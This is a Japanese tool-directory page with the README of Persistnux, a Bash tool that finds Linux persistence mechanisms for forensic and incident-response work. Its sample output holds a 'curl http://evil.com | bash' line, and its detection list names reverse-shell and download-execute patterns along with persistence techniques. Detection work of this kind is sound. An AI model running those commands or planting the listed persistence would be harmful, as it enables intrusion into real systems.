Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Persistnux — BashベースのLinux永続化検出ツールで、DFIR調査向け。15以上の永続化メカニズム(systemd、cron、カーネルモジュール、SSH、コンテナ)を信頼度スコアでスキャンし、フォレンジック分析用のCSV/JSONLレポートを生成します。 | Kitploit
ツール/GitHubGitHub/go-lanz/persistnux
特権昇格永続化メカニズム脆弱性分析フォレンジックマルウェア分析デジタルフォレンジック学習と教育インシデントレスポンスコンテナエスケープラボと実践
GitHubgo-lanz/persistnux

Persistnux

31ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

BashベースのLinux永続化検出ツールで、DFIR調査向け。15以上の永続化メカニズム(systemd、cron、カーネルモジュール、SSH、コンテナ)を信頼度スコアでスキャンし、フォレンジック分析用のCSV/JSONLレポートを生成します。

リポジトリを見る

Persistnux

デジタルフォレンジックおよびインシデント対応(DFIR)調査のための包括的なLinux永続化検出ツール。

概要

Persistnuxは、攻撃者が侵害したシステムへのアクセスを維持するために使用する既知のLinux永続化メカニズムを特定するために設計されたbashベースのツールです。システム全体で包括的なチェックを実行し、さらなる分析のためにCSVおよびJSONL形式の詳細レポートを生成します。

特徴

  • 包括的な検出: 主要なLinux永続化メカニズムをすべてカバー
  • ライブ分析: 最小限の依存関係でライブシステム上で直接実行
  • 詳細な出力: ファイルハッシュ、メタデータ、信頼度スコアを含むCSVおよびJSONLレポートを生成
  • rootおよび非root: root権限の有無にかかわらず動作(非rootの場合は範囲が限定)
  • DFIR対応: 一般的なDFIRツールやワークフローと互換性のある出力形式
  • 疑わしさスコアリング: インジケータに基づく自動信頼度スコア(LOW、MEDIUM、HIGH、CRITICAL)
  • 誤検知低減: パッケージマネージャーとの統合および既知の正当なサービスのホワイトリスト化
  • 時間ベースの分析: 最近変更されたファイルには高い信頼度スコアが付与
  • パターンマッチング: リバースシェル、ダウンロード-実行パターン、難読化手法を検出

検出される永続化メカニズム

1. Systemdサービス

  • /etc/systemd/system、/lib/systemd/system、/usr/lib/systemd/system 内のサービスファイル(.service)
  • ユーザーレベルのsystemdサービス
  • 無効なサービスおよびExecStartのないサービスをフィルタリング
  • 疑わしいExecStartコマンドを検出
  • 実行されるバイナリ/スクリプトのパッケージ整合性を検証

2. Cronジョブとスケジュールタスク

  • システムcrontab(/etc/crontab、/etc/cron.d/*)
  • 定時実行ディレクトリ(/etc/cron.{daily,hourly,weekly,monthly})
  • 全ユーザーのユーザーcrontab(rootモード)
  • Atジョブ
  • スケジュールタスク内の疑わしいコマンドパターン
  • /etc/cron.allow および /etc/cron.deny ACLファイル — 存在しないユーザーを参照するエントリにフラグを付与

3. シェルプロファイルとRCファイル

  • システム全体のプロファイル(/etc/profile、/etc/bash.bashrc、/etc/zshrc)
  • Profile.dスクリプト(/etc/profile.d/*)
  • ユーザープロファイル(.bashrc、.bash_profile、.zshrc、.profile など)
  • Fishシェル設定
  • プロファイルファイル内の悪意のあるコマンドを検出

4. InitスクリプトとRC.local

  • /etc/rc.local およびその亜種
  • SysV initスクリプト(/etc/init.d)
  • ランレベルスクリプト(/etc/rc*.d)
  • 疑わしいダウンロード/実行コマンドを検出

5. カーネルモジュールとライブラリプリロード

  • LD_PRELOAD設定(/etc/ld.so.preload) — リストされた各ライブラリをパッケージマネージャーで検証
  • 動的リンカー設定(/etc/ld.so.conf、/etc/ld.so.conf.d/) — 設定ファイルの整合性+非標準パスの .so ファイルをスキャンして検証
  • /etc/environment のLD_PRELOAD/LD_LIBRARY_PATH — 環境ファイルにHIGHフラグ;参照されたライブラリパスを検証(管理外/変更あり→CRITICAL)
  • カーネルモジュールパラメータ(/etc/modprobe.d/、/etc/modprobe.conf) — ファイル整合性;install ディレクティブを分析し疑わしいコマンドターゲットを検出;セキュリティモジュール(apparmor、selinux、seccomp)の blacklist にHIGHフラグ
  • カーネルモジュール自動ロード設定(/etc/modules、/etc/modules-load.d/) — 設定の整合性;参照されたモジュール名を modinfo で .ko ファイルに解決して検証

6. その他のメカニズム

  • XDG自動起動エントリ(.config/autostart、/etc/xdg/autostart) — root時は全ユーザーのホームディレクトリをスキャン
  • システム環境ファイル(/etc/environment) — LD_PRELOAD/LD_LIBRARY_PATHのライブラリパスを検証
  • Sudoers設定とドロップイン(/etc/sudoers、/etc/sudoers.d/) — NOPASSWD/ALLパターン→HIGH
  • PAM(プラグイン可能な認証モジュール):
    • すべての .so モジュールをパッケージマネージャーで検証;@include ディレクティブを追跡;/etc/pam.conf を含む
    • pam_exec.so スクリプト分析 — 欠落/疑わしいスクリプト→CRITICAL
    • pam_python.so / pam_perl.so リレー検出 — スクリプトを抽出して分析
    • /etc/security/ 内の pam_script.so フックファイル検出

8. SSH永続化

  • ユーザーごとの ~/.ssh/authorized_keys — 最近変更されたキーにフラグ;command= オプションの内容を分析し疑わしいパターンを検出
  • ユーザーごとの ~/.ssh/rc — 存在にMEDIUMフラグ;疑わしい/リバースシェルコンテンツ→HIGH/CRITICAL

9. バイナリハイジャック

  • インストールされたシステムバイナリをパッケージデータベースと照合して検証(Debian/Ubuntuでは dpkg -V、RHEL/CentOSでは rpm -Va)
  • /usr/bin、/usr/sbin、/bin、/sbin 内の変更されたファイル→CRITICAL発見
  • /lib/security 内の変更されたPAMモジュール→CRITICAL発見
  • conffiles(dpkg設定ファイル)は誤検知を避けるために除外

10. ブートローダーとInitramfs

  • GRUBの init= カーネルパラメータ注入(/etc/default/grub、/etc/default/grub.d/*.cfg)
  • ルートレベルの / に配置されたinitスクリプト
  • Dracut initramfsモジュールで /sysroot/etc/shadow に書き込む pre-pivot フック
  • Ubuntu initramfs-toolsフックスクリプト(/etc/initramfs-tools/scripts/ および /hooks/)
  • 最近変更された /boot/initrd.img-* イメージ(mtimeベース)

11. Polkit(PolicyKit)操作

  • 無条件の ResultAny/ResultInactive/ResultActive=yes を含む .pkla ファイル
  • ワイルドカードID(unix-user:*)の付与
  • 無条件の polkit.Result.YES を含む .rules ファイル(JavaScriptベースのPolkit >= 0.106)

12. D-BusとNetworkManager

  • 悪意のあるD-Busシステムサービス Exec= 登録(/usr/share/dbus-1/system-services/)
  • D-Busポリシーのワイルドカード allow own="*" または send_destination="*" ディレクティブ
  • NetworkManagerディスパッチャスクリプト(/etc/NetworkManager/dispatcher.d/)

13. Udevルール

  • 任意のコマンドやスクリプトを実行するUdev RUN+= ディレクティブ(/etc/udev/rules.d/、/lib/udev/rules.d/)
  • /run/udev/rules.d/ へのランタイム注入ルール
  • RUN+= 内の at/cron 委譲パターン(よくあるフォアグラウンド制限バイパス)

14. コンテナエスケープ

  • 特権Dockerコンテナ(--privileged、--pid=host)
  • コンテナへの docker.sock バインドマウント(Docker APIを介してホストを完全に制御)
  • コンテナエントリポイントまたはDockerfile内の nsenter -t 1
  • ユーザー書き込み可能ディレクトリ内のエスケープ手法を含むDockerfile

15. 高度なバイナリと権限チェック

  • システムディレクトリ全体のアクティブなSUID/SGIDファイルスキャン
  • getcap によるファイルケーパビリティスキャン — GTFOBins上の cap_setuid+ep → CRITICAL
  • バイナリハイジャック:元のファイルの名前変更(.original、.old、.bak、.real)とラッパースクリプト
  • /etc/passwd 内のUID 0を持つ非rootアカウント
  • /etc/passwd のシェルフィールドの末尾スペースによるシェルマスキング
  • SSH authorized_keys ファイルを持つシステムアカウント(UID 1-999)

インストール

root@kitploit:~
# Clone the repository
git clone https://github.com/yourusername/persistnux.git
cd persistnux

# Make the script executable
chmod +x persistnux.sh

使い方

基本使用法(ライブ分析)

root@kitploit:~
# Run with default settings (shows only suspicious findings)
sudo ./persistnux.sh

# Show help and all options
./persistnux.sh --help

# Run as regular user (limited scope)
./persistnux.sh

フィルタリングオプション(v2.4以降)

デフォルトでは、Persistnuxは疑わしい発見(MEDIUM、HIGH、CRITICALの信頼度)のみを表示し、ノイズを低減して対応すべき脅威に焦点を当てます。

root@kitploit:~
# Default: Show only suspicious findings
sudo ./persistnux.sh

# Show all findings including baseline (LOW confidence)
sudo ./persistnux.sh --all
# OR
sudo FILTER_MODE=all ./persistnux.sh

# Show only HIGH and CRITICAL confidence findings
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# Combine filters: HIGH confidence only
sudo ./persistnux.sh --min-confidence HIGH

カスタム出力ディレクトリ

root@kitploit:~
# Specify custom output directory
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# Combine with filtering
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh

出力ファイル

デフォルトでは、Persistnuxは出力ディレクトリ ./persistnux_output/ を作成し、以下を含みます:

  • persistnux_<hostname>_<timestamp>.csv - CSV形式レポート
  • persistnux_<hostname>_<timestamp>.jsonl - JSONL形式レポート(1行に1つのJSONオブジェクト)
  • persistnux_<hostname>_<timestamp>_report.txt - 発見件数とスキャンメタデータを含む人間可読なサマリレポート

出力形式

CSV形式

root@kitploit:~
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"

JSONL形式

root@kitploit:~
{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}

主要な出力フィールド

  • matched_pattern: 発見をトリガーした検出パターン(例:suspicious_script_content、modified_package、unmanaged_binary)
  • matched_string: 実際に疑わしいと判断されたコンテンツ(キーワードだけでなく行全体)

信頼度スコアリング

Persistnuxはインテリジェントな信頼度スコアリングを使用して誤検知を低減します:

  • LOW: 標準的なシステム設定、疑わしさ低(多くの場合パッケージ管理ファイル)
  • MEDIUM: 疑わしい可能性があるが、正当な場合もある
  • HIGH: 疑わしいパターンが検出された(例:cron内のcurl/wget、/tmpでの実行、リバースシェル)
  • CRITICAL: 改ざんの決定的証拠 — パッケージ整合性検証失敗、疑わしいファイルへのSUID/SGID、PAMモジュール異常、一時的な場所にあるsystemdジェネレーター、または高エントロピーペイロードを含むインラインインタプリタコード

誤検知低減(v1.2以降)

Persistnuxには誤検知を低減するためのいくつかの機能が含まれています:

  1. パッケージマネージャー統合: dpkg(Debian/Ubuntu)または rpm(RedHat/CentOS)で管理されているファイルは低い信頼度スコアを受け取る
  2. 既知の正当なサービスのホワイトリスト: 一般的なベンダーサービス(systemd-、dbus-、snap.* など)は自動的にスキップ
  3. 時間ベースのスコアリング: 最近変更されたファイル(7日未満)は高い信頼度スコアを受け取る
  4. コンテキスト認識分析: 複数のインジケータを組み合わせてより正確な検出を実現

疑わしいインジケータ

Persistnuxは以下のものを検出すると、自動的に高い信頼度でフラグを付けます:

ネットワークベースのパターン

  • リバースシェル: bash -i >& /dev/tcp/、sh -i >& /dev/udp/
  • ネットワークツール: nc、netcat、socat、telnet
  • スクリプト言語でのソケット操作: python -c 'import socket'

ダウンロードと実行パターン

  • ダウンロードツール: curl | bash、wget | sh
  • ダウンロードして実行: curl URL -o /tmp/file && chmod +x

難読化手法

  • エンコーディング: base64 -d | bash、eval $(echo BASE64)
  • 動的実行: eval、exec

疑わしい場所

  • 一時ディレクトリ: /tmp、/dev/shm、/var/tmp
  • 隠しディレクトリおよびファイル

権限操作

  • ファイルの実行可能化: chmod +x、chmod 777
  • SUIDビット操作: chmod u+s

要件

  • Bash 4.0+
  • 標準Unixユーティリティ: find、grep、stat、sha256sum、awk、file
  • オプション: systemctl、lsmod、modinfo、getcap、dpkg/rpm(特定のチェック用)
  • インタプリタ依存なし(純粋なbash + coreutils;python/jqは不要)
  • 包括的な分析にはroot/sudoアクセス推奨

テスト済み / 互換性

注意: このツールは主にUbuntu/Debianシステムでテストされています。RedHat、Fedora、およびRPMベースのディストリビューション向けのパッケージマネージャーサポートはコード内に実装されていますが、ライブテスト環境では検証されていません。RPMベースのディストリビューションに関する貢献やテストレポートは歓迎します。

テスト / ベンチマーク

Persistnuxは、Persistnuxが追跡するのと同じ永続化メカニズムをインストールするPANIXに対してベンチマークされています。 tests/panix_benchmark.sh にある繰り返し可能なハーネスは、各PANIXテクニックを適用し、Persistnuxを実行し、ベースラインとの差分により検出を確認します。 テストマシンで適用可能なすべてのファイルベースのPANIXテクニックは、MEDIUM+の信頼度で検出されます。完全なカバレッジ表と方法論については PANIX_BENCHMARK.md を参照してください。

⚠️ ベンチマークは実際のバックドアをインストールします — 使い捨てのVMでのみ実行してください。

ロードマップ

  • フォレンジックディスクイメージ向けオフライン分析モード
  • UAC(Unix系アーティファクトコレクター)収集との統合
  • フルVM上でブートローダー/initramfs/LKMベクターに対するPANIXベンチマークの拡張

リソース

https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX

貢献

貢献は歓迎します!以下の項目について、プルリクエストの送信やイシューの作成を自由に行ってください:

  • 新しい永続化メカニズムの検出
  • バグ修正
  • ドキュメントの改善
  • パフォーマンスの最適化
  • 追加の出力形式

ライセンス

MITライセンス - 詳細はLICENSEファイルを参照してください

謝辞

DFIRコミュニティのために、Linuxインシデント対応およびフォレンジック調査を支援するために開発されました。

免責事項

このツールは、認可されたセキュリティテスト、インシデント対応、およびフォレンジック分析のみを目的としています。このツールをシステム上で実行する前に、適切な認可を得ていることを確認する責任は利用者にあります。

連絡先

質問、イシュー、または貢献については、GitHubのイシュートラッカーを使用してください。

ツールをダウンロード
  • ロード済みカーネルモジュール(lsmod) — 列挙と整合性検証
  • 設定ファイルの整合性 — パッケージ所有の変更されたPAM設定→CRITICAL
  • pam_env.conf および ~/.pam_environment のLD_PRELOADライブラリ検証
  • /etc/security/ の全般的なスキャン
  • MOTDスクリプト(/etc/update-motd.d/) — パッケージ検証;変更あり→CRITICAL
  • Git資格情報ヘルパーおよびcore.pager設定 — 全ユーザーのコンテンツ分析
  • 一般的なWebディレクトリ内のWebシェル
  • ディストリビューションステータス備考
    Ubuntu 22.04 LTS✅ テスト済み主な開発およびテストプラットフォーム
    Ubuntu 20.04 LTS✅ テスト済み完全サポート
    Debian 11/12✅ テスト済みdpkgベース、同じパス規約
    Kali Linux (rolling)✅ テスト済みPANIX検出ベンチマークで使用(下記参照)
    RedHat / RHEL⚠️ 未テストrpmサポートは実装済みだが、ライブシステムでは未検証
    Fedora⚠️ 未テストrpmサポートは実装済みだが、ライブシステムでは未検証
    CentOS / AlmaLinux / Rocky⚠️ 未テストrpmサポートは実装済みだが、ライブシステムでは未検証